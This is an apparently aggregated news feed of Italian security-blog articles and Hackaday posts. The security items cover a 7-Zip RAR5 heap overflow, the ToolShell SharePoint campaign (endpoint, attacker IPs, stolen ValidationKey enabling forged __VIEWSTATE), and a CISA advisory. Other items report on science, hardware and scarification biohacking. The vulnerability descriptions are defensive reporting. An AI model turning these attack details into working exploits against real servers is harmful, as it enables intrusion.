Relativamente ad una vulnerabilità rilevata dal gruppo di ricerca sul prodotto Metasys Reporting Engine (MRE) Web Services, del fornitore Johnson & Control, la Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti D’America, ha emesso uno specifico bollettino di sicurezza riportandolo all’attenzione dei settori: “CRITICAL INFRASTRUCTURE SECTORS, COUNTRIES/AREAS DEPLOYED e COMPANY HEADQUARTERS LOCATION”.

Si tratta di un gruppo di ricerca tutto italiano che emette CVE con costanza, contribuendo in maniera fattiva alla ricerca delle vulnerabilità non documentate a livello internazionale. Il Red TIM Research si sta distinguendo a livello Italia sull’elevata caratura delle attività svolte, oltre a contribuire all’innalzamento dei livelli di sicurezza dei prodotti utilizzati da organizzazioni internazionali.

L'articolo Il Red Team Research di TIM scopre 5 CVE su Eclipse GlassFish, una critica (score 9,8) proviene da il blog della sicurezza informatica.

In questo episodio analizziamo la possibilità di utilizzare strumenti di intelligenza artificiale generativa per imparare una nuova lingua.

zerodays.podbean.com/e/io-e-ch…

Content warning: Human alteration and scalpels.
General warning: We are not speaking as doctors. Or lawyers.

If you watch sci-fi, you probably do not have to think hard to conjure a scene in a trendy bar where the patrons have glowing make-up or tattoos. That bit of futuristic flair was possible years ago with UV-reactive tattoo ink, but it has the unfortunate tendency to permanently fade faster than traditional ink. [Miana], a biohacker, wanted something that could last forever and glow on its own. After months of research and testing, she presents a technique with a silica-coated powder and scarification. Reddit post with graphic content.

The manufacturer does not sell the powder for internal use, so it requires sterilization in an autoclave, which should tell you why this is a hack and not just repurposing. The experimentation includes various scarification techniques and different bandaging approaches, but this is still a small group, and the oldest is measured in months, not years, as of the time of writing.

We think these look amazing, but there are significant caveats. If you have never done scarification, spoiler, it hurts! If the flesh cutting is not bad enough, someone gets to rub sand into the open cuts. You may find yourself carrying a UV flashlight everywhere to charge it up. [Miana] was kind enough to provide the link to the powder she uses, but this link is provided solely so our readers can investigate the ingredients.

If you are more interested in the glowing aspect than the biohacking part, be sure to read about making strontium aluminate. If you want to get into the weeds, you can make a phosphorescence detector and quantify how glow-y something is.

hackaday.com/2025/07/20/resear…

We loved keygens back in the day. Our lawyers advise us to clarify that it’s because of the demo-scene style music embedded in them, not because we used them for piracy. [Patch] must feel the same way, as he has a lovely historical retrospective out on “The Internet’s Most Illegal Music” (embedded below).

After defining what he’s talking about for the younger set, who may never have seen a keygen in this degenerate era of software-by-subscription, traces the history of the jaunty chiptunes that were so often embedded in this genre of program. He starts with the early demoscene and its relationship with cracker groups — those are coders who circulate “cracked” versions of games, with the copyright protection removed. In the old days, they’d embed an extra loading screen to take credit for the dastardly deeds that our lawyer says to disavow.

more after the break…

Because often the same people creating the amazing audio-video demos of the “demoscene” were involved in cracking, those loading screens could sometimes outshine the games themselves. (We saw it at a friend’s house one time.) There was almost always excellent music provided by the crackers, and given the limitations of the hardware of the era, it was what we’d know of today as a “chiptune”.

The association between crackers and chiptunes lasted long after the chips themselves had faded into obsolescence. Part of the longevity of the tracker-built tunes is that in the days of dial-up you’d much rather a keygen with a .MOD file embedded than an .mP3, or god forbid, an uncompressed .WAV that would take all day to download.

Nowadays, chiptunes are alive and well, and while they try and hearken back more to the demoscene than the less savory side of their history, the connection to peg-legged programmers is a story that deserves to be told. The best part of the video is the link to keygenmusic.tk/ where you can finally find out who was behind that bopping track that’s been stuck in your head intermittently since 1998. (When you heard it at a computer lab, not on your own machine, of course.)

The demoscene continues to push old machines to new heights, and its spirit lives on in hacking machines like the RP2040.

youtube.com/embed/zHgcrdv8zpM?…

hackaday.com/2025/07/20/rememb…

Una falla critica nella sicurezza, relativa alla corruzione della memoria, è stata individuata nel noto software di archiviazione 7-Zip. Questa vulnerabilità può essere sfruttata da malintenzionati per provocare condizioni di denial-of-service mediante la creazione di archivi RAR5 dannosi. Si tratta del CVE-2025-53816, conosciuto anche come GHSL-2025-058, e riguarda tutte le edizioni precedenti alla 25.00 di 7-Zip.

A questa falla scoperta del ricercatore Jaroslav Lobačevski, è stato assegnato un punteggio CVSS pari a 5,5, collocandola quindi nella categoria di gravità media. La falla, sebbene non prometta l’esecuzione di codice arbitrario, potrebbe comportare comunque rischi sostanziali per gli attacchi di tipo denial-of-service, soprattutto verso i sistemi che trattano file di archivio potenzialmente non sicuri.

La vulnerabilità deriva da un heap buffer overflow basato nell’implementazione del decoder RAR5 di 7-Zip. Nello specifico, il difetto si verifica nel componente NCompress::NRar5::CDecoder quando il software tenta di recuperare dati di archivio corrotti riempiendo le sezioni danneggiate con zeri.

La causa principale risiede in un errore di calcolo del valore durante le operazioni di azzeramento della memoria. Durante l’elaborazione di archivi RAR5, il decoder richiama My_ZeroMemory(_window + _winPos, (size_t)rem) dove il parametro rem viene calcolato come _lzEnd – lzSize. Tuttavia, la _lzEndvariabile dipende dalla dimensione degli elementi precedenti nell’archivio, che può essere controllata dagli aggressori.

Questo errore di calcolo consente agli aggressori di scrivere zeri oltre il buffer heap allocato, corrompendo potenzialmente le regioni di memoria adiacenti e causando arresti anomali dell’applicazione. I test effettuati con AddressSanitizer (ASAN) hanno dimostrato che file RAR5 appositamente creati possono innescare un Heap overflow del buffer, con una proof-of-concept che ha causato una scrittura di 9.469 byte oltre il buffer allocato.

7-Zip è uno degli strumenti di archiviazione file più utilizzati al mondo: il sito Web ufficiale riceve oltre 1,3 milioni di visite al mese e il software viene scaricato milioni di volte tramite vari canali di distribuzione. La popolarità del software sia in ambito personale che aziendale amplifica il potenziale impatto di questa vulnerabilità.

Vulnerabilità di corruzione della memoria come questa possono avere gravi conseguenze, tra cui crash del sistema, danneggiamento dei dati e interruzioni del servizio. Anche se è improbabile che questa specifica vulnerabilità consenta l’esecuzione di codice remoto, fornisce agli aggressori un metodo affidabile per bloccare i processi 7-Zip, interrompendo potenzialmente i sistemi di elaborazione automatica dei file o i flussi di lavoro degli utenti.

La debolezza risulta essere estremamente allarmante, dato che gli archivi sono ormai divenuti il bersaglio privilegiato dagli attacchi cybernetici; essi rappresentano il 39% delle strategie di diffusione del malware come risulta da una ricerca recente sulle minacce informatiche. I responsabili degli attacchi informatici approfittano abitualmente delle debolezze nella gestione degli archivi per eludere i sistemi di protezione e veicolare i payload.

Le organizzazioni che elaborano file di archivio non attendibili dovrebbero implementare misure di sicurezza aggiuntive, tra cui la limitazione dell’accesso agli archivi RAR5 potenzialmente dannosi e l’implementazione di una convalida completa dei file prima dell’elaborazione.

L'articolo Vulnerabilità in 7-Zip: gli aggressori possono eseguire attacchi di denial-of-service proviene da il blog della sicurezza informatica.

Una campagna di attacchi informatici avanzati è stata individuata che prende di mira i server Microsoft SharePoint. Questa minaccia si avvale di una serie di vulnerabilità, conosciuta come “ToolShell“, che permette agli aggressori di acquisire il controllo completo e remoto dei sistemi, bypassando l’autenticazione.

Eye Security, un’azienda olandese di sicurezza informatica, ha identificato lo sfruttamento attivo il 18 luglio 2025, rivelando quella che i ricercatori di sicurezza descrivono come una delle transizioni più rapide dalla prova di concetto allo sfruttamento di massa nella storia recente.

La catena di vulnerabilità combina due falle di sicurezza critiche, cybersecuritynews.com/microsof…CVE-2025-49706 e cybersecuritynews.com/microsof…CVE-2025-49704 , originariamente dimostrate al Pwn2Own Berlin 2025 a maggio dai ricercatori di sicurezza di CODE WHITE GmbH, un’azienda tedesca di sicurezza offensiva.
Messaggio su X dell’account del Microsoft Security Response Team
L’exploit è rimasto inattivo fino al 15 luglio 2025, quando CODE WHITE ha condiviso pubblicamente i risultati dettagliati delle sue ricerche sulle piattaforme dei social media dopo il rilascio ufficiale della patch da parte di Microsoft. Nel giro di sole 72 ore dalla divulgazione al pubblico, gli autori della minaccia avevano reso operativo con successo l’exploit per attacchi coordinati su larga scala.

L’indagine approfondita di Eye Security ha rivelato che gli aggressori hanno iniziato uno sfruttamento sistematico di massa il 18 luglio 2025, intorno alle 18:00 ora dell’Europa centrale, utilizzando inizialmente l’indirizzo IP 107.191.58.76. Una seconda distinta ondata di attacchi è emersa da 104.238.159.149 il 19 luglio 2025 alle 07:28 CET, indicando chiaramente una campagna internazionale ben coordinata.

L’exploit di ToolShell aggira i meccanismi di autenticazione tradizionali prendendo di mira /_layouts/15/ToolPane.aspx l’endpoint vulnerabile di SharePoint. A differenza delle web shell convenzionali progettate principalmente per l’esecuzione di comandi, il payload dannoso estrae specificatamente chiavi crittografiche sensibili dai server di SharePoint, tra cui i materiali critici ValidationKey e DecryptionKey.

“Non si trattava della tipica webshell”, hanno spiegato i ricercatori di Eye Security nella loro dettagliata analisi tecnica. “L’attaccante trasforma la fiducia intrinseca di SharePoint nella propria configurazione in un’arma potente”. Una volta ottenuti con successo questi segreti crittografici, gli aggressori possono creare un payload __VIEWSTATE completamente validi per ottenere l’esecuzione completa del codice remoto, senza richiedere alcuna credenziale utente.

L’attacco sofisticato sfrutta tecniche simili al CVE-2021-28474, sfruttando i processi di deserializzazione e controllo del rendering di SharePoint. Ottenendo la ValidationKey del server, gli aggressori possono firmare digitalmente payload dannosi che SharePoint accetta automaticamente come input legittimo e attendibile, aggirando di fatto tutti i controlli di sicurezza e le misure difensive esistenti.

La scansione completa di oltre 1.000 server SharePoint distribuiti in tutto il mondo effettuata da Eye Security ha evidenziato decine di sistemi attivamente compromessi in numerose organizzazioni. L’azienda di sicurezza informatica ha immediatamente avviato procedure di divulgazione responsabile, contattando direttamente tutte le organizzazioni interessate e i Computer Emergency Response Team (CERT) nazionali in tutta Europa e a livello internazionale.

L'articolo ToolShell: la nuova minaccia che colpisce i server Microsoft SharePoint proviene da il blog della sicurezza informatica.

La comunità scientifica americana riceve un importante impulso grazie a uno dei supercomputer più veloci del paese. Il Georgia Tech e i suoi partner hanno ricevuto un finanziamento di 20 milioni di dollari dalla National Science Foundation (NSF) per la realizzazione di Nexus, una piattaforma di calcolo di nuova generazione incentrata sull’intelligenza artificiale.

Il suo lancio è previsto per la primavera del 2026 e sarà in grado di eseguire oltre 400 quadrilioni di operazioni al secondo. Per fare un paragone, è come se ogni persona sul pianeta eseguisse 50 milioni di calcoli al secondo.

A differenza dei supercomputer tradizionali, Nexus è progettato sin dalle fondamenta per l’intelligenza artificiale e il calcolo ad alte prestazioni (HPC), consentendo agli scienziati di accelerare la ricerca in settori quali la scoperta di farmaci, l’energia pulita, la modellazione climatica e la robotica.

“La Georgia Tech è leader nella formazione e nello sviluppo della tecnologia dell’intelligenza artificiale e siamo onorati di ospitare un nuovo sistema di supercalcolo che alimenterà l’innovazione in tutto il Paese”, ha affermato il presidente della Georgia Tech, Angel Cabrera.

Uno degli obiettivi chiave del progetto è l’accessibilità. Nexus non è concepito come un’infrastruttura chiusa per centri d’élite, ma come una risorsa nazionale. Qualsiasi gruppo di ricerca negli Stati Uniti potrà richiedere l’accesso tramite il meccanismo NSF. Inoltre, le interfacce del sistema saranno appositamente semplificate in modo che anche gli scienziati che non hanno competenze di programmazione possano utilizzare potenti strumenti di intelligenza artificiale nei loro campi di ricerca.

“Nexus combina il supporto per servizi scientifici persistenti con le capacità dei classici sistemi HPC per abilitare nuovi scenari scientifici e informatici e ridurre drasticamente il percorso verso la scoperta”, ha affermato Katie Antipas, direttore dell’infrastruttura informatica avanzata presso NSF.

L’hardware del Nexus sarà impressionante: 330 trilioni di byte di RAM e 10 quadrilioni di byte di memoria a stato solido. L’equivalente di 10 miliardi di risme di carta, impilate in modo tale da coprire un terzo del percorso dalla Terra alla Luna e viceversa.

L’altissima larghezza di banda per la trasmissione dei dati garantirà ritardi minimi quando si lavora con grandi quantità di informazioni, il che è fondamentale per simulazioni complesse e modelli di intelligenza artificiale.

Il progetto è implementato in collaborazione con il National Center for Supercomputing Applications (NCSA) dell’Università dell’Illinois a Urbana-Champaign. I due centri saranno collegati da una nuova rete ad alta velocità che creerà un’infrastruttura distribuita volta a democratizzare l’accesso all’intelligenza artificiale.

“Questo rappresenterà un vero livellamento del campo di gioco”, spiega Suresh Marru, responsabile del progetto Nexus e direttore del nuovo Centro ARTISAN per l’IA in Scienza e Ingegneria. “Vogliamo rendere gli strumenti di IA all’avanguardia non solo potenti, ma anche accessibili”.

La costruzione di Nexus inizierà entro la fine dell’anno. Fino al 10% della sua potenza di calcolo sarà riservata ai progetti interni del Georgia Tech, mentre il resto sarà distribuito tramite bandi aperti sotto l’egida della NSF. Si prevede che il sistema non solo accelererà la soluzione di problemi scientifici esistenti, ma diventerà anche una piattaforma per scoperte non ancora previste.

“Con il lancio di Nexus, entriamo a far parte di un club d’élite di centri di supercalcolo universitari. Questo è il risultato di anni di lavoro e pianificazione strategica”, ha affermato il professore e preside associato del College of Computing del Georgia Tech. Nexus sarà più di un semplice computer: fornirà ai ricercatori di tutto il Paese nuovi strumenti per far progredire la scienza, dove i confini non saranno più definiti solo dalla conoscenza, ma dalla potenza di calcolo .

L'articolo 400 quadrilioni di operazioni al secondo. Ecco Nexus, il supercomputer che rivoluzionerà la ricerca negli USA proviene da il blog della sicurezza informatica.

In the relatively short time that the James Webb Space Telescope has been operational, there’s seemingly no end to its list of accomplishments. And if you’re like us, you were sure that Webb had already achieved the first direct imaging of a planet orbiting a star other than our own a long time ago. But as it turns out, Webb has only recently knocked that item off its bucket list, with the direct visualization of a Saturn-like planet orbiting a nearby star known somewhat antiseptically as TWA 7, about 111 light-years away in the constellation Antlia. The star has a significant disk of debris orbiting around it, and using the coronagraph on Webb’s MIRI instrument, astronomers were able to blot out the glare of the star and collect data from just the dust. This revealed a faint infrared source near the star that appeared to be clearing a path through the dust.

The planet, dubbed TWA 7b, orbits its star at about 50 times the distance from Earth to the Sun and is approximately the size of Saturn, but only a third of its mass. The star itself is only about 6.4 million years old, so the planet may still be accreting from the debris disk, which might present interesting insights into planetary formation, assuming that other astronomers confirm that TWA 7b is indeed a planet. But what’s really interesting about this discovery is that because the star system’s orbital plane appears to be more or less perpendicular to ours, the standard exoplanet detection method based on measuring the dimming of the star by planets passing between it and us wouldn’t have worked. This might open the doors to the discovery of many more exoplanets, and that’s pretty exciting.

Question: What’s worse than a big space rock that’s on a collision course with Earth? Answer: Honestly, it feels like a lot of things would be worse than that right now. But if your goal is planetary protection, one possible answer is doing something that turns the one big rock into a lot of little rocks. That seems to be just what NASA’s DART mission did when it smashed into a bit of space debris named Dimorphos back in 2022, ejecting over 100 boulders from the asteroid-orbiting moonlet. LICIAcube, an Italian cubesat that hitched a ride on DART, used optical cameras to observe the ejecta, and measured rocks from 0.2 m to 3.6 m in diameter as they yeeted off at up to 52 meters per second. Rather than spreading out randomly, the boulders clustered into two different groups, something that years of playing Asteroids has taught us isn’t what you’d expect. The whole thing just goes to show that planetary protection isn’t as simple as blasting into a killer asteroid and hoping for the best. And please, can somebody out there type “NASA DART” into Google and tell me what they see? Because if it’s not an animated spacecraft zipping across the screen and knocking the window out of kilter, then I need a vacation. K, thanks.

Do you even code? If you’re reading Hackaday, chances are good that you at least know enough coding to get yourself into trouble. But if you don’t, or you want to ruin somebody else’s life bring someone new into the wonderful world of bossing computers around, take a look at Micro Adventure, an online adventure game aimed at teaching you the basics — err, BASICs — of coding. The game walks you through a text-based RPG (“You’re in a dark room…”) and prompts you to code your way through to a solution. The game has an emulator window that appears to be based on MS/DOS 1.00, so you know it’s cutting-edge stuff. To be fair, it’s always been our experience that coding is mostly about concepts, and once you learn what a loop is or how to branch in one language, figuring it out in another language is just about syntax. There seem to be at least six different adventures planned, so perhaps other languages will make an appearance in the future.

And finally, while we’re talking about the gamification of nerd education, if you’ve been meaning to learn Morse code, you might want to check out Morse Code Defender. It’s an Android app that uses a Missile Command motif to help you learn Morse, with attacking missiles having a character attached to them, and you having to enter the correct Morse code to blow the missile up before it takes out your ham shack. We haven’t tried it yet, so there may be more to it, but it sure seems like a cute way to gamify the Morse learning process. Honestly, it’s got to be better than doomscrolling Instagram.

hackaday.com/2025/07/20/hackad…

Our hacker [John Duffy] wrote in to let us know about a video he put together to explain the design of his open-source multimeter, the HydraMeter.

If you’re interested in how the circuitry for a voltmeter, ohmmeter, or ammeter might work, this video is a masterclass. In this long and detailed video, [John] walks us through his solutions to various challenges he had while designing his own multimeter. We covered this multimeter last year, and this new video elaborates on the design of the HydraMeter which has been a work in progress for years now.

The basic design feeds voltage, current, and resistance front-ends into an Analog to Digital Converter (ADC), which then feeds into a microcontroller and out to the (detachable) display. You can find the KiCad design files on the GitHub page. There is also a write-up on hackaday.io.

The user interface for the meter is… opinionated, and perhaps not to everyone’s taste. In the video, [John] talks a little bit about why he made the UI work the way that it does, and he noted that adding a rotary range switch is a goal for version 2.0.

The case is 3D printed and [John] had glowing things to say about his Bambu printer. He also had glowing things to say about D-sub connectors, but he did not have glowing things to say about Solid Edge, the CAD software he used to design the case.

Thank you, [John], for putting this video together; it is an excellent resource. We look forward to seeing version 2.0 develop soon!

youtube.com/embed/WZxFVFWPRwQ?…

hackaday.com/2025/07/20/design…